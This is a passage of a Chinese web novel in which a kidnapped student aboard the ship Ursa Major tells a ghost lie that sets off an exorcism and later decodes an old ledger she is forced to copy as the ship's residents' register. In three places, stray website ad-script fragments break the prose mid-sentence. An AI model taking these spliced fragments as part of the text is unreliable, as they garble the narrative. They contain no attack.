下一秒,手中门锁的倒影里蓦地出现了另一个人的身影。她吓了一跳,手上不稳,金属锁撞上木门,发出刺耳的声响。 身后那人悠悠地说,“出来散步?” 是青年的声音。温知和下意识地松了口气。转念一想,他也算得上是危险人物,于是心又提了起来。 她转过身,镇定地对他说,“是啊,随便走走。楼上人比较少嘛。” 青年的视线扫过温知和紧抓着门锁的手,然后,移到她脸上。“那你知道楼上为什么人少吗?” “……为什么?” “因为对船上的人来说,这里不是该来的地方。” “它又没上锁!下面人那么多,我想着楼上比较适合散心嘛。”温知和刻意把声音放得很自然,假装只是随口一问,“为什么这不是该来的地方啊?” 青年道,“因为这里有鬼。” “……啊!?” 这答案听着实在像危言耸听,温知和正要再说点什么,青年忽然把手指竖在唇前,示意她噤声。 然后,压低了声音,莫名其妙地说,“他们要是问起来,你就说你在下面看见有奇怪的人影从这里跳进了海里,一时好奇,上来看看。” 青年声音很轻,说着的时候,温知和听见来时的方向上隐隐传来几人的脚步声。 ——是刚才的马来妇人向人告密,说她闯进了顶楼吗? 青年又道,“你会演戏的吧?” “……啊?” 这到底都是什么意思? 青年望了她几秒,竟是笑了。“就按现在这个表情。去吧。” 凌乱的脚步声越来越近了。在青年带笑的注视下,温知和莫名其妙感觉自己像是上考场,朝着那边走了过去。走出四五步的时候,还转头又迟疑地看了他一眼。 阳光下,他轻轻点头。 于是她迎着脚步声继续往前。过了一处拐角,回到宽阔的走廊上,来人的身影显露无疑。是方才的马来妇人领来了戴尔蒙徳管事,还有几个身强力壮的水手。 看上去就不太好惹。 戴尔蒙徳管事打量着温知和。“你到这里来干什么?” 温知和茫然地说,“我在下面看到这里好像有奇怪的东西,上来看看。” “你看见的是什么东西?” “好像是个人……但是……”她挠了挠头,指向不远处生锈的栏杆,“又从这里跳下去了……应该不是真的吧……” 马来妇人连忙挡着嘴,像是要捂住尖叫,脸一下子就白了。戴尔蒙徳管事的脸色也沉了下去。水手们一时没什么反应,过了几秒,等戴尔蒙徳管事把温知和说的话用马来语又说了一遍,他们也慌了,四周乱看,仿佛戒备着什么。 温知和脸上依然茫然,脑子里却飞速转起来。 ——她说有人从这里跳海,他们为什么是这个反应? 他们看上去不像是觉得跳下去的是大活人,需要立马组织人手下海搜救。倒还真像是……听见了鬼。 戴尔蒙徳管事说,“你看错了,这里什么也没有。” 温知和说,“可是我真的……” 她的话被打断了。戴尔蒙徳管事声音越来越高,连珠炮似的说,“以后少来这里,又没什么好玩的。你今天没事做吗?也差不多是下午上工的时候了吧?把你放到学校不是让你混饭吃的,那么多孩子还等着呢,赶紧去赶紧去。” 温知和几乎是被赶走的。 半路里她回头看了一眼。戴尔蒙徳管事走向了她刚才随口瞎编的有人跳海的地方,弯着腰审视着那个位置上生锈的栏杆。水手们跟了过去,低声争论着什么。 而那个马来妇人抱着扫帚有点发抖。仿佛察觉到什么,她蓦地抬头与温知和对上视线。好麻木的一双眼睛。 温知和心里一动,想起一个细节。 刚才她按青年说的那样撒谎的时候,水手们并没有在第一时间作出反应,因为他们听不懂英文,要等戴尔蒙徳管事翻译。而这个妇人却是刹时面色发白。 她懂英语。 这一点在大熊星座号上并不常见。温知和细数至今,也不过寥寥几人。 这位面容沧桑的中年妇人究竟是什么人? 两人对视,温知和一直探究着,妇人却先移开了视线。她往后退了几步,到了遮挡物后面,离开了温知和的视线。 - 那天晚上,温知和并没有睡好。不是她思虑过重,实在是外面太吵了。 她走出舱室,踱到甲板上。往常在这个时间点,甲板上很少挤着这么多人,船民们都窃窃私语着,抬头往上看。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> 顶楼亮着灯。忽红忽黄,流转不定。隐约还能看见火光闪烁。 还有奇怪的声音。铃声、鼓声、歌谣声,间或响起,时高时低,如同鬼魅。 这是在……驱邪? 温知和一下子想起白天的事,心知眼下的状况和她撒的那个谎有关。那个谎言要是放在另一个地方,譬如说她们大学里,只会被当作无稽之谈,说不定还要被笑话。可在这里却引发了这么多事。 这只能是因为,这艘船本身就藏着什么相关的秘密。 昏沉沉的甲板上,她看见不远处有一抹橙色的光亮。往那边走了几步,距离近了,看得清了,果然是那个人。 橙色光亮是他手中香烟。仍是夹在手指间,任细细的烟气消散在海风里,并不抽。 抬头看见温知和过来,青年把夹着烟的手往后放了放,大概是怕烟气熏着人。 温知和压低了声音,说,“这里说话安全吗?” 她说话真像特务碰头。 青年笑道,“干嘛?” “问你件事。” “说吧。” “你让我撒的那个谎,就是有人跳海的事,”她下意识地看了一眼黑沉沉的大海,“究竟是怎么回事?” “你跑到顶楼去又不想引人怀疑,这是最好的脱身理由了。不过只能用一次。” “……他们真的信?” “显然。” “可是他们为什么信?这艘船上出过什么事?” 青年脸上笑意未减,语气却重了些。“那就不是你需要知道的事情了。” 他像是把一个话题的门给关上了,然后,随手连着门也推进了黑暗里,要找也没有了。不容追问。不容探究。 温知和只能说,“……哦。” 青年道,“这么晚还不睡?” “我睡觉要很安静才行。”温知和往上指了指顶楼,“虽然离了一段距离,但对我来说还是太吵了。你怎么也不睡?” “我睡觉的要求没那么高,不需要很安静,”青年学着她,也往上指了指顶楼,“但我就住那里。他们就在我门口,吵得过分了。” “你住顶层?” “嗯。” “……不是说那里闹鬼吗?” “嗯。” “所以说,闹鬼其实是假的?” “不一定。” “那你不怕?” 青年不答,却是反问,“你怕鬼?” 夜风大,温知和紧了紧衣服,很坦诚地说,“我白天不怕,好歹也受了这么多年的唯物主义教育嘛,鬼肯定是不存在的。就是晚上吧,有时候……” 有时候大半夜自己一个人在家,外面黑漆漆的,屋里但凡有点什么动静,脑子里难免便浮现出种种恐怖片情节。继而又想,世界如此之大,也许真有点什么不可知的存在呢…… 真的。人到了晚上容易脆弱,就连怕鬼这件事也是。 青年道,“我倒希望世界上有鬼。” “为什么?” 不知是不是温知和的错觉,青年的声音似乎低了低,“因为这样的话,有一些人或许就可以再见到了。” 正在这时,人群中传来一阵惊呼声。温知和抬眼一看,一个约莫两米来长的人形物出现在顶层栏杆上,脑袋慢慢往下,终于以坠海的姿态掉了下来,砸进黑沉沉的海面,溅起一阵水花。 甲板上的船民们纷纷挤到栏杆边往下看。 温知和也看了过去。船灯昏暗,只见起起伏伏的海面上,白色的人形物漂浮不定。看样子应该是块纸板。在人脸的位置似乎画了些什么,太晚了,看不清。 人群的吵嚷声里,她忽然听见一阵哭喊。 不远处的角落里,坐着那个奇怪的能听懂英文的中年妇人,双手掩面,全身发抖。哭得好伤心。 她身边还站着一个人,俯身轻拍她的背。 身形高大,衣衫破败,满脸络腮胡。正是把温知和绑到船上来的杀手纳姆。 ——这两个人为什么会在一起? 温知和忽然想起马德鲁说过,哈撒——那个下令要抓她却自己先死了的人——是纳姆的亲哥哥,是在大熊星座号上长大的。因格外优秀出色才被选去太阳船。 难道,这三个人是母子? ——闹鬼的传闻。有人跳海。死亡。 ——哈撒死了。 ——他妈妈好伤心。 涌上来的信息又多又杂,温知和的脑袋里反而一片空白。 11. 第十一章 那天之后,温知和暂时放弃了再去探索神秘地点的计划。 地方一共就三个,一个已经知道了,一个据说在闹鬼,没什么线索,还有一个……那可是桅杆,她又不可能爬上去。 然而,一波未平,一波又起。一大早上,有人来敲了她的门。 “温叽和,在不在?赶紧开门。” 是戴尔蒙徳管事的声音。他讲话的口音实在很奇妙,不管说什么,都带点喜剧效果。 温知和起初觉得有点不妙,怀疑是自己这两天为了收集大熊星座号的秘密让孩子们画画的事被发现了,可一开门,便知道自己是多虑了。 戴尔蒙徳管事打着呵欠,一副被迫上工的麻木表情,显然这会儿的脑子里只怕比她肚子还空,不是来找茬的。 他穿了一身紫。 心情颇好的温知和露出友好的笑,戴尔蒙徳管事面无表情地盯了她一阵,忽然嘴角一扯,大概算是回应。 他说,“很遗憾地通知你,这是你上船的第十天。” 温知和的笑容一僵。“遗……憾?” 这艘船难不成有满了十天就丢人下海的习惯? 戴尔蒙徳管事说,“虽然不知道你究竟是什么东西,”温知和摸不准他用“东西”来形容她究竟是对她有意见还是单纯的英文差,“但这毕竟是船上的习惯,而且你把孩子们教的不错,他们还蛮喜欢你,所以的确,他说的有道理,我们也就这么着吧。从现在开始,你就算是一个正式船民了。” 说完他就闭了嘴,眼睛直直地盯着她。这意味着他在等她给一个恰当的反应。 但温知和根本不明白“正式船民”背后究竟意味着什么,只是表情空白地说,“啊?” 戴尔蒙徳管事有点不满。“你应该为此感到骄傲!从现在开始,你也是一个大熊星座了。和其他人一样。” “我之前不是吗?” “当然不是,你之前只是一个……”戴尔蒙徳管事的嘴巴好几次变了变,可能想说“客人”,可能想说“囚犯”,也可能想说“外来者”,但他最终变得有点迷茫,说,“一个不知道什么东西。” “……好的。” “这不是一个成为正式船民的人应有的态度。今天是你的大日子!” “谢谢。” “你成为了我们中的一员,这是一种荣誉!你应该高兴起来,并感恩仁慈的海神赐予你的一切!” “谢谢。” “喂!” “……谢谢?” “你很敷衍。” 戴尔蒙徳管事颇为谴责地看着温知和。 再说一遍,他今天穿了一身亮紫色。 不知是不是人的确有着难以想象的强大适应能力,温知和上船这么些天,虽然仍在用尽一切手段找回家的方法,但情绪已不知不觉平稳下来了。吃得了,睡得着,甚至能笑。 一身紫的戴尔蒙徳管事站在门外阳光里,板着脸。这一幕实在很像一只发光的茄子生气了。 所以他对温知和的谴责其实是有失偏颇的。茄子上门。茄子说话。茄子不高兴了。每一个短语都直戳温知和的奇怪笑点,没有当着他的面捧着肚子笑出声来已经很优秀了。 他根本不明白她有多辛苦。 戴尔蒙徳管事不知道温知和到底怎么回事,但决定大发慈悲放过她。他翻开手里的记录册,随手往上面画了个勾,说,“那么,身份转变这一条,我就算是告知过了。” “好的,谢谢。” “现在我要向你传达身为正式船民应尽的义务……”他板着脸,一条一条说起来。里面有百分之八十是纯粹的老生常谈。(如果有人好奇其中有什么具体内容,可以随便找一本学生守则、校园行为手册之类,看看上面水了什么废话。都是一样的。)剩下的百分之二十则是对前面那百分之八十里的部分内容所做的同义复述——有时候甚至连措辞都一模一样。足以见出,那些制定义务守则的人也未必真就很清楚自己到底写了什么。 话里的内容本来就已经很好笑了。再加上,一脸严肃的戴尔蒙徳管事的英文水平从来没有产生过突飞猛进的奇迹,因此他说话时依然会颠三倒四,隔三差五用错词。简直就是在火上浇油,喜剧效果层层递进。 温知和用力抿着嘴。 戴尔蒙徳管事差不多快说完的时候,外面的走廊上隐隐响起一个脚步声。 戴尔蒙徳管事真正说完了的时候,脚步声的主人已到了眼前。那个高挑漂亮的不知名青年停下脚步,因身高差距,看着戴尔蒙徳管事时有点居高临下。两人互相点了点头,算是打招呼。可稍矮的戴尔蒙徳管事是仰着脑袋的,为了点头,这幅度便大得有点滑稽,头顶在半空里划了好长的一个弧。 ——茄子的头会甩出去吗? 温知和更加用力地抿住嘴。 戴尔蒙徳管事转过来对她说,“规矩差不多就是这些。你要好好记住。” “好的!”吐完两个字,她立马又闭紧嘴。也许是由于憋笑,眼睛一直很亮。身旁的青年看了她一眼,又打量了一下戴尔蒙徳。 戴尔蒙徳走了。走廊上明暗交替,隔一段有阳光,隔一段是阴影。阴影中他几不可见,阳光下他闪闪发光。 真像是茄子一闪一闪。 青年不紧不慢地说,“你现在笑出声来的话,他还是能听见的。” 差点破功的温知和连忙憋住,又后知后觉,“你还在啊?” “就这么一会儿,我也不至于就被丢进海里喂了鱼吧?” 她想起这是他们在那间有钢琴的杂物间巧遇时有过的对话。不过,略微调换了位置。她笑着睇了他一下,然后,扒着门,张望着戴尔蒙徳离去的方向。终于,他消失了。 温知和说,“你知道哪里好笑吗?” “嗯。” 来不及对答案,忍了很久的温知和彻底破功,扶着门笑得喘不过气来。门被她晃着,吱呀作响,像是在挣扎。 青年道,“有人说过你的笑点很奇妙吗?” “啊……这么多年,都已经被说习惯了哈哈哈哈——”她抱着门一直没撒手。一个没注意,差点在门缝里夹了手。青年随手抵了一下门,挡住了门的去势,免了她这一遭痛。她还是没注意。 待温知和笑痛了肚子,喘着气开始平复自己,青年忽然道,“你听过一个冷笑话吗?” 温知和捂着肚子警惕。“干嘛?” “从前有一个丝瓜,它一直想变成一个茄子。” 所以他是真的知道她的奇妙笑点长在哪里。 温知和感觉到好不容易沉进肚子里的笑意又开始往上涌,“住口……” “它拔掉了自己所有的绒毛,斥巨资买了气派的紫衣服,还报了一个茄子速成班,学习茄子的栽培方式、烹饪技巧和历史来由。” “为什么要学烹饪技巧啊!” “这不重要。总之,它很艰辛地努力着,后来终于以假乱真,混进了茄子的队伍里。但它很快就被识破了。你知道这是为什么吗?” 青年倚着墙,讲得慢慢悠悠的,脸上好像很是那么回事,可嘴里没一个字是正经字。温知和从小就是个好学生,被问了问题,竟然本能地真的想了想。 “因为它长得不够高?” “因为它不会拍照。” 这真是一个无聊的冷笑话。 可温知和一下子没忍住,笑弯了腰,扶着门蹲在地上,还停不下来。在她的笑声里,青年稍微回顾了一下那个随口编的故事,竟也低着眼睛笑了起来。 真是还好这艘马来西亚海域 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 里的航船上没有第三个人听得懂中文,不然,这两个人是一定会被嫌弃的吧? - 温知和暗地里笑人家戴尔蒙徳管事,报应来得很快。就在当天下午,她在教室里让孩子们自己画画,本人却坐在窗边摸鱼时,一身亮紫的男人哐哐敲门,众目睽睽之下把她叫了出去。 温知和极力做出友善模样。“有什么事吗?” 戴尔蒙徳管事先是皱着脸把她上下打量了一番,仿佛在估摸她的价值,“身为正式船民,现在是你为船做出无私奉献的时候了。我们有一个活现在缺人。” 温知和警惕起来。“什么活?” “你会马来语吗?” “完全不会。” “你会写马来的文字吗?” “完全不会。” “你认识马来的文字吗?” “完全不认识。” 她答得不假思索,脑子在飞速旋转。 戴尔蒙徳管事要抓人去干活。其内容目前听上去,八成与文字记录有关。能落到她这种无关紧要的外来者身上的事,必然是无聊、琐碎、量大又毫无意义的东西。生命可贵,如果有的选,还是别浪费。 温知和越是强调自己对马来语一窍不通,戴尔蒙徳管事脸上竟越是露出满意的表情。他拍了拍手,一锤定音。“很好,就是你了。你果然就是最完美的人选。” “……?” “我们大熊星座号上有个东西太老了,年代这么久远,纸都快发霉了。再不誊写一遍,早晚报废。” “我不认识你们的文字。” “所以才说正好。你不需要懂,照着原文字的形状抄一下就好了。也就两千来页。” ——多少?他说多少? 两千来页……手抄? 温知和很抗拒,因此在戴尔蒙徳管事问她写字怎么样时,连忙撒了个谎,“很丑。丑得不行。” 谁知道他又满意了。“很好,反正那东西也没人看。” 他带她去的地方竟是这艘船的图书室。这舱室狭小、阴冷,书架没几排,上面摆得也不满,角落里还结着蜘蛛网。显然船上没几个乐于看书的人。 戴尔蒙徳管事把一本比温知和的小臂都长、比她的身体都厚的大书搬到了桌子上。那书的确很旧了,纸页泛黄,字迹浅淡,边角处还有被虫啃过的痕迹。真是风烛残年。 他又拿来了几只旧钢笔和一摞厚厚的笔记本。指了指书,“抄这个,一页一页、一行一行地抄”,指了指笔记本,“抄这里,封面上写了一二三,按顺序一本一本地用”,又指了指笔们,“总有一只能用的。” “噢……” 他看了看表,“今天先抄半个小时练习一下。从明天开始,你下午再去教室,早上不去教室,就来这里,每天至少三个小时,至少二十页。我会定期检查的。” 人在屋檐下,哪能不低头。何况这是在海里。温知和只能乖乖听话。她磨磨蹭蹭地在这破落桌子后坐下,打开钢笔笔帽,不情愿立马就写,玩似的把笔举在眼前,借着恰好在空气里斜出一道的阳光观察着笔尖。 小孩子上课搞小动作也是这样的。 笔尖的影子背后,戴尔蒙徳管事正要离开。他一身亮亮的紫,在阳光下显得是那么光滑。 温知和咳了咳,道,“戴尔蒙徳管事。” 他刚跨了一只脚出门。“干嘛?” “问你个问题。” “要问快点问。” 温知和很认真地说,“你会拍照吗?” 她忍着笑,本以为戴尔蒙徳管事会一脸莫名其妙地白她一眼转身走掉。没想到,他站在那里面无表情地看了她很久。 终于,他冷冷地说,“你是今天第二个问这个问题的人。你们两个有完没完?” 12. 第十二章 温知和抄书,起初就跟描摹原始部落石洞上的远古壁画一样,根本摸不着头脑。目前这本旧书上一页页的字呢,有横有竖有弯钩,歪歪扭扭看不懂,偏偏又得把每一笔、每一划都誊抄得一模一样。多一笔少一笔,都会在检查时被戴尔蒙徳管事捡出来训一顿。 很痛苦。 挨训痛苦,不知道为什么挨训也痛苦,不知道为什么挨训却不得不挨训更痛苦,不知道为什么挨训却不得不挨训而且知道自己明天还要接着挨训——最痛苦。 温知和抓耳挠腮,人还没从大学毕业,已经在奇怪的地方体会了身为社畜的感觉。 “其实我真的不适合做这份工作,”她很诚恳地对戴尔蒙徳管事说,“要不你还是找个更称职的人吧。” 面对她因对着陌生文字看太久而有点花了的眼睛,戴尔蒙徳也露出一个很诚恳的表情。“你做的很好,不要看低自己。”他甚至对她笑眯眯的。 温知和道,“你夸我只是为了让我干活。” PUA失败的戴尔蒙徳管事当即卸下笑容,重新回到面无表情的常态。“那还在等什么?抓紧时间干活吧。今天至少还要再抄十页。” “就没有别人能做这件事吗!” “没有啊。哪有啊?大家都有自己的正事要干。像这种必须要做,但又没什么意义,而且事多、繁琐、无聊的东西……”眼看温知和的表情越来越不好,戴尔蒙徳管事连忙找补一句,“但对年轻人来说也是一种锻炼嘛。你是我们这里最新的成员啊,这都是为了你好!” 可能人类的确有本性这种东西。不管是陆地上常见的某类人,还是海里的茄子,话术竟然都是一样的。 温知和的脑子并没有被戴尔蒙徳管事牵着走,但她也别无选择。这艘船对她的态度始终模糊不定。不日复一日来这里抄书,万一他们断了她的口粮呢? 好在温知和性格深处一直有一个让人羡慕的地方,那就是,无论在什么事情里,她总能找出一点有趣的事来。生活是块大石头,她拎着铲子这里敲一敲、那里敲一敲,即使找不到什么珍贵的矿物,石面上铲子敲出来的痕迹一道又一道交织在一起,总能组出个漂亮的图形。 她抄的那本大书,戴尔蒙徳管事始终没说过内容究竟是什么,但她自己渐渐窥出一点门道来。 书里的每一页都是手写的表格。字迹端正,排布整齐。表格线大概是比着尺子画的,总的来说算得上规整,可时不时也会出现多余的墨点或歪出来的笔锋。 乍一下翻开,会以为每一页的横竖排版都各不相同。看久了,却能察觉出里面有规律。 第一页,表格样式A。格子大多比较小,长短交错,文字排布相当紧凑。 第二页,表格样式B。仍是短格子居多,但出现了不少能塞下五六行文字的大格子。 第三页,表格样式C。大格子更多了。 第四页,表格样式D。一整页就是一个巨大的格子。有时里面塞满了文字,有时只有一半。而且,有不少这种样式的纸页看上去是后来才加进来的,边缘处黏着发黄的胶。 第五页…… A、B、C、D。在表格样式D的后面,要么接着另一个表格样式D,要么便回到表格样式A,开始新的循环。A、B、C、D。 温知和推测,这本书应该是在以某种相似的结构,记载着许多不同的事物。每一次从表格样式A到最后一张表格样式D,都是对一个具体事物的记录。到了下一个从A到D的循环,则记录着另一件事物。 A1、B1、C1、D1——事物1。 A2、B2、C2、D2——事物2。 A3、B3、C3、D3——事物3。 …… 表格样式A在最前面,格子最短、最密,里面记录的应该是“概况”一类的东西,所以类目多、文字简短。越到后面,格子越大,单个格子里的文字量越多,那么,就应当是“详细说明”一类。 思路一旦打开,温知和来了兴趣。像做解谜游戏一样,每天趁着戴尔蒙徳管事不在的时候,翻来覆去地研究一张张表格里的信息。 表格样式A最简单。每一张以这种样式呈现出来的纸页,都有相当一部分文本实际上是一样的内容。就像不同班级有不同的课程表,虽然语文、数学、英语等具体课程的安排不同,但有一行文本是一模一样的:星期一、星期二、星期三…… 那一定就是表头。 陈旧发霉的大书在桌子上摊开,温知和手指间夹了薄薄的几页,比对着一左一右同为表格样式A的两张纸,一个格子、一个格子地寻它们的同与不同。文字形状相同的是表头类目,文字形状不同的则是类目下的具体信息。 大多数格子里的马来文字在温知和眼里,都不过是无意义的线条,一个笔画都不认识。但也有不少特殊的格子能让人找到意义的端倪。 最直观的,有一些记录具体信息的格子里永远是阿拉伯数字。这样就可以倒推前面表头的意义。 每份档案的第一页都有三种类型的阿拉伯数字。 温知和:“1921、1933、1934……” 温知和:“1946、1952、1952……” 温知和:“2005、2006、2006……” 温知和心想,这种应该是年份。看来这里的人即使远在海上,也还是在用外面世界的历法。而且,越往后的年份越近……也许这本东西就是按年份排列的。 温知和:“3.19、8.31、9.13……” 温知和:“1.12、12.18、3.24……” 温知和又想,点以前不超过12,点以后不超过31……是月份和日期。 温知和:“27。” 温知和:“65。” 温知和:“3。” 温知和:“……这。” 这一栏内容,前面大半本书的表头后面都写了数字,大的小的都有。后面小半本里这一栏则大部分是空的。温知和一时没看出什么规律。 虽然具体的文本内容还是完全摸不着头脑,但从记录结构已经可以推测这本大书的性质。 ——它应当是某种档案。而且,以时间为顺序归档。 这本档案估计日常情况下没人用得上。所以才会陈旧、发黄、无人问津。 然而,尽管一般没人用得上——它历史悠久,记录了相当庞杂的信息,里面甚至可能藏着不少秘密,具有某种超然的重要性,所以才一直放在图书室里没丢掉。眼看原书保存得不好有坏掉的风险,还专门找了一个倒霉蛋来抄备份。 可是,它究竟是记录什么的档案呢? 她把整本书翻了又翻。它页面枯黄,边角生霉,摸起来软绵绵的,像纸质的尸骸。 厚厚的两千多张枯页里,还有极为罕见的那么几张,正中央有巨大 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 、鲜红的太阳形图腾。样式张扬,色泽醒目,不知用是什么材料,半点褪色的意思都没有。仿佛尸骸里的一种永恒。 看着像是印章。 ……与所谓的太阳船有关吗? - “马德鲁。” “啊?叽和老师?” 温知和好几次试图旁敲侧击地从马德鲁这里套一点线索,好用来回去研究那本神秘的大档案,然而她出于谨慎,问得实在是太“旁敲侧击”、太“迂回曲折”、太“云里雾里”……马德鲁听不懂问题,思维又跳脱,一答,就更是跑去十万八千里外了。 以至于,除了获知船民家里谁丢了一只袜子、谁撞墙上脑门长出一个包、谁的帽子里找到了别人丢的袜子、谁笑别人脑门上有包笑着笑着自己也撞了墙之类的鸡毛蒜皮外,温知和一无所获。 她也试图从马来的文字入手,学个三言两语的,说不定能在书里找到点熟悉的字,进而推敲一下整本书的性质。 然而大家都知道,即使学校里每天上英语课,九年义务教育都不够精通一门语言。就这么几天时间,能学出个什么来?简直像刚学会了am、is、are就去读莎士比亚全集。 温知和十分苦恼。 有一天,藏在云里的太阳是从西边出来的,她在甲板上又碰见了青年。 其时他正跟戴尔蒙徳管事交谈,声音很低沉。听不懂内容。好流利的马来语。 她走到他身后,拍了他的肩,问他,“你学了多久啊?” 青年看过来。他们有身高差,他把太阳遮在身后,淡淡的阴影落在她脸上。他说,“什么东西?” “马来语啊。你学了多久?” “半年吧。” “这么快啊。”可是,半年对学一门语言来说很快,对“被绑架在船上”这件事,却是相当久了。温知和垂头丧气,说,“我不想呆半年啊……好想回家。” 青年说,“你怎么了?” “我得到了一本书。”温知和一抬手,把那本破旧不堪的档案从空气里拿了出来,翻开了页,抱在胸前,给他看书页上的内容。“我怀疑这里面藏着秘密。说不定破解了这些秘密,得到一些什么线索,我就能想办法回家了。” “是吗?” “应该吧……”她迟疑着,“能不能帮我看看这上面到底写了什么啊……” 青年竟笑了,“好吧。给我。” 泛黄的大书,从她这里,到了他手中。那双手修长漂亮,翻页的动作称得上温柔。他低头看着书。 泛红的阳光从他身后来,仿佛在他身上罩了一层光晕。茫茫的大海,四面吹来的所有的风,都只是背景。 时间像是暂停了。 温知和心里很感谢。这个人一定能从书里找到什么东西,一定会告诉她。所以她一定要对他说谢谢。 她说,“谢谢啊……” 通常来说,这半句话后面应该跟上他的名字。但她卡住了。 正是在这个时候,她忽然察觉到这不过是一场梦。 他怎么会帮她呢? 他们之间分明陌生到……她连他的名字都不知道。 四下里看去,海水像万花筒一样缤纷流彩,戴尔蒙徳管事变成了靠在墙角的茄子。 而太阳从青年身后渐渐升起,不是圆的,却是两个拼在一起的扇形。光辉流淌。如同如今不知在何处的那张照片里,那只歇于栏杆的蝴蝶。 13. 第十三章 温知和同往常一样上午去抄了二十页书,下午到教室里守着孩子们画画,打着呵欠数了几个小时,眼见着外面日落黄昏,终于是又熬过了一天。 “下课下课,都赶紧去吃饭吧!”她对马德鲁说,“把今天的画收一下。” “哦,哦,等等,知道了。” 马德鲁自己都还没画完呢。匆匆几笔收尾,又在画纸边缘大笔一挥写了名字,便下座位收起了作业。孩子们有的早就想交作业了,画纸往这儿一丢,椅子一挪便一溜烟没了人影,有的却煞有介事地把手中画当成了伟大作品,非要一笔一笔地填完,不管马德鲁怎么催,就是压着纸、埋着头,不肯交。 几分钟的等待时间里,温知和拿了已交上来的作业一张张看。 这帮几岁、十几岁的船上的孩子,这段时间的进步还挺明显的。他们以前画画是乱居多,能从满纸的杂乱线条里找出轮廓来,辨认出他们画的是什么,那是看画人的本事。现在居然都像模像样了,圆是圆,方是方,稚气又鲜活。 每一张画,还会在角落里签上画画人的名字。马来的文字在温知和眼里本就像天书,小孩子写字又歪扭,若不留神看,还以为是画中无意识的闲笔。 还是马德鲁写字最端正。 他的名字写出来,圆润的线条有点像一只鸽子,稍补上几笔就是展翅起飞、向天高鸣的姿态。每次画纸收上来,他的名字总是最明显的。 “叽和老师,都在这儿了。” 终于等几个钉子户慢吞吞交了画,马德鲁把剩下的作业都摆在温知和眼前了。 她仍专注地看着画,没抬头,说了一句谢谢。 - 又过了几天。船上图书室。 今天是戴尔蒙徳管事验收温知和抄书成果的日子。她把抄满了的笔记本往前一推,脸上是谦恭的表情,实际上早就开小差神游天外了。 反正他每次说的话都差不多。无非是一面翻页,一面嫌弃。一会儿说这个字抄错了,用点心好不好;一会儿说这里线没画整齐,你眼睛是不是歪了;一会儿说这里太挤,一会儿说那里太密。 世上的甲方都是一路货色。 温知和走着神在脑袋里哼小调,只在戴尔蒙徳管事停顿的间歇装模作样地点点头,假装自己有在听。 戴尔蒙徳管事指指点点完了,给这次验收下了一个结论—— “不行。完全不行。” “好的。” “你得再好好努力才行啊。” “好的。” “我看今天时间也还早,你就再抄十页锻炼一下吧。” “好的。” 戴尔蒙徳管事终于是走了,舱门一关,估摸着他走远了,一脸温顺的温知和朝着那边狠狠地丢了一支笔。 ——好你丫的! 真难伺候啊。 要不是她坚信这本档案里藏着东西,不愿轻易放弃,这无理取闹的活儿她早就不干了。一天天的抄书,视力下降了不少,手也酸得不行。 气恼间,她把那本档案翻得哗啦作响。 隔了一会儿,气消了,温知和起身到门边去找那只被丢掉的笔。这舱室光线不好,笔又只是小小的一支,蹲在地上翻来找去,费了不少功夫。找到了,推开笔帽一看,它还挺坚强,居然没摔坏。 她回到桌子边。 这时正是中午,炙热的阳光从顶窗上漏下来,恰照在翻开着的旧档案上。书页泛黄,密密麻麻的黑色异域文字像一只只跳舞的蚂蚁。 ——蚂蚁中有一只鸽子。 温知和不通马来语,有印象的马来文字并不多。眼前一下子看到的这个,是为数不多的其中之一。 ——圆润的线条有点像一只鸽子,稍补上几笔就是展翅起飞、向天高鸣的姿态。 这不是马德鲁的名字吗? 小小的几个字,就在这一页档案上最开头的位置。 温知和连忙把笔放在桌子上,捧起这一页档案细细地看。别的都看不懂,但有几个阿拉伯数字相当明显。 根据她先前的总结,这本档案书里,每一份表格的头一页都有三种类型的阿拉伯数字。一个是类似年份的四位数。一个类似几月几号的日期数。还有一个是无规律的一到两位数,前半本档案里大多有,后半本里则大多是空的。 写了马德鲁名字的这一页上,也是如此。几个阿拉伯数字,一个是2005,一个是1.12。最后一个则是空的。 温知和喃喃念着,“2005……” 马德鲁年纪并不大,看外貌不过十一二岁。 ——十二岁。 今年是2017年,减去2005,恰好便是12!2005完全可能指的是马德鲁的出生年份。 这样说来,1.12…… - 温知和下午早早便去了教室。孩子们大多还在外面玩,教室里空空荡荡的,只坐了几个打着盹的马来老师。 温知和给自己搬了个凳子坐下,很耐心地等。 马德鲁来得不算晚。刚一进教室,温知和立马叫住他。先是若无其事地聊了几句闲话,继而把话题转移了,问他,“你生日是什么时候啊?” 马德鲁说,“啊?干嘛问这个?” 温知和扯谎扯得面不改色,“我家那儿有个传统,就是生日当天可以不用上学。我看看哪天可以给你放假。” 马德鲁大喜。“是仙女座十三号!” 这是什么鬼? 温知和的表情僵了一下。 但,不等她说什么,马德鲁又补了一句,“噢,换算成那个什么世界通行历法的话,好像是……一月十二号!” 一月十二号。1.12。 果然是这样。 ——那一页泛黄的纸上,有马德鲁的名字,有马德鲁的出生年月日。 ——他那一份表格,在那本以时间为顺序归档的大书里处在临近最末尾的部分。 这么看来,那本档案很可能就是大熊星座号上的船民信息档案。这么机密的东西,怪不得戴尔蒙徳管事要找一个完全不会马来语的人去抄。 当温知和活络起了心思,暗自思索的时候,把她的话信以为真的马德鲁兴冲冲地向全教室的同学们宣告了这个好消息。 生日当天可以不来学校。 他建议大家把自己的生日都写在今天的作业上,好让叽和老师看看什么时候给他们放假。孩子们都很高兴,闹哄哄地就开始写。 有那么几个聪明过头的捣蛋鬼,借此机会便宣称自己的生日就是今天,说完就想往门口跑。可大熊星座号是个熟人社会,大家知根知底,撒谎的小骗子当场就被戳穿了。 温知和笑眯眯地看着他们闹,大半部分的注意力都集中在他们手中的笔上。 更确切地说,是他们笔下写的名字和生日日期。 熬了几个小时,终于又是黄昏,一天结束,画收上来了。温知和假装沉迷看画,一直等到教室里所有人都走了,只剩下自己一个人。 她悄悄拿出笔。又瞟了瞟门外,确认附近的确没人。然后便把袖子往下捋,露出胳膊,把所有人的名字和与之对应的出生日期全抄了上去。 不能怪她身为师长还亲自打小抄。 ——不抄下来谁记得住? - 第二天一早,温知和走向图书室的脚步分外轻快。 